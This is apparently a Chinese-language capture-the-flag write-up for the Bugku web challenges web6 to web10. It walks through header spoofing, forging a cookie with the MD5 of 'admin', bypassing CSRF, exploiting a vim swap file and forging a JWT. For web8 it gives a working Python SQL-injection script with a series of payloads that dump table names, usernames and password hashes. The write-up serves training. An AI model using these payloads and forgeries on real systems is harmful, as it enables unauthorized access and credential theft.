web6:
以为是sql注入,输入了一下,发现IP被禁止。那么模拟一下请求头127.0.0.1
找了一圈发现,密码是在HTML信息的最下面了。
登录账号admin,密码test123,得到flag
web7
注册后随便登录个账号,显示权限不够。
看请求头cookie,发现规律如下:
r: 351e766803 d63c7ede8cb1e1c8db5e51c63fd47cff
u: 351e766803 d63c7ede8cb1e1c8db5e51c63fd47cff
21232f297a57a5a743894a0e4a801fc3 解md5 为 limited
那么加密admin的md5位:
21232f297a57a5a743894a0e4a801fc3
把cookie 都改成admin的md5即可。
web8:
注册登录之后,发现age处存在数字型注入。
尝试post发现,存在csrf
F12 找到csrf的key。
在提交post时,带上token = 得到的value,就可以绕过csrf了。
下面是Python源码
import requests
import re
#正则匹配 获取中间文本
def get_midstring(buff,w1,w2):
if '\n' in buff :
buff = buff.replace('\n', '')
pat = re.compile(w1 + '(.*?)' + w2, re.S)
result = pat.findall(buff)
return result
r= requests.session()
url = 'http://123.206.31.85:10008/'
headers = {'cookie':'PHPSESSID=i8ejkhiuhaalt7l34t604er10emulgnm'}
respond = r.get(url,headers = headers).text
#获取csrf_key
csrf_key = get_midstring(respond,'name="token" value="','"')[0]
#开始提交post
url = 'http://123.206.31.85:10008/update.php'
sql = '(database())' #输出 web8,数据库为 web8
sql = '(select group_concat(table_name) from information_schema.tables where table_schema=database())' #输出users ,表为users
sql = '(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)' #查询字段 ,回显 "id,username,password,nickname,age,description"
sql = '(select group_concat(username) from (select username from users where username=0x61646d696e)a)' #回显 "admin,admin
sql = '(select group_concat(password) from (select password from users where username=0x61646d696e)a)' #回显"blaiubdalifubdfdaf,5f4dcc3b5aa765d61d8327deb882cf99,202cb962ac59075b964b07152d234b70"
sql = '(select group_concat(username) from (select count(username) username from users where username=0x61646d696e)a)' #回显3 说明用户有三个
sql = '(select group_concat(username) from (select password from users where username=0x61646d696e)a)' #回显"dzc123,dzc123,dzc123"
sql = '(select group_concat(password) from (select username from users where username=0x61646d696e)a)' #回显 "e296eed8741f0a56e1fbad839f67bda0,e296eed8741f0a56e1fbad839f67bda0,e296eed8741f0a56e1fbad839f67bda0"
sql = '(select group_concat(password) from (select password from users )a)' # 回显一大堆密码
sql = '(select group_concat(username) from (select username from users )a)'# 回显一大堆用户名
sql = '(select group_concat(username) from (select username from users where username=0x666c6167)a)' # 回显为空,说明查不到 ---- flag的16进制 为 0x666c6167
sql = '(select group_concat(description) from (select description from users where username=0x61646d696e)x)' # 回显 "users,users,users"
sql = '(select group_concat(password) from (select password from users where username =0x61646d696e)x)'
payload = {"nickname":'1',
"age":sql,
"description":'1',
'token':csrf_key}
cookie = {"PHPSESSID":'i8ejkhiuhaalt7l34t604er10emulgnm'}
respond = r.post(url,data = payload,cookies = cookie)
#获取回显
#print(respond.text)
value = get_midstring(respond.text,'age" placeholder','quired')[0]
value = get_midstring(value,'value=','re')[0]
print(payload)
print(value)
得到了:
数据库:web8
表:users
字段:id,username,password,nickname,age,description
只能做到这里了,没有发现flag,可能是别的大佬,改掉了flag。。。
web9
put me a message bugku then you can get the flag
那么就用put方式提交bugku
解密base64 得到flag,
web10
F12看到提示
base32解密得到:kk:kk123
尝试登陆 kk 密码kk123
vim在意外崩溃时,会产生*.swp文件,那么试试看。
得到了php文件的源码,找到了jwt的key:L3yx----+++±—
在登陆后,我们的cookie 就是JWT 密文。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTc3Njk1NzA1LCJleHAiOjE1Nzc2OTU3MTAsImFjY291bnQiOiJrayJ9.nUuYvgNwqa5oqF7ub67jJaF9DI62rBNDxpFskLr09i0
jwt.io 在线jwt解密
把account 改成L3yx ,key 填上去。注意修改一下exp的时间戳。
修改get的cookie,重新get得到flag。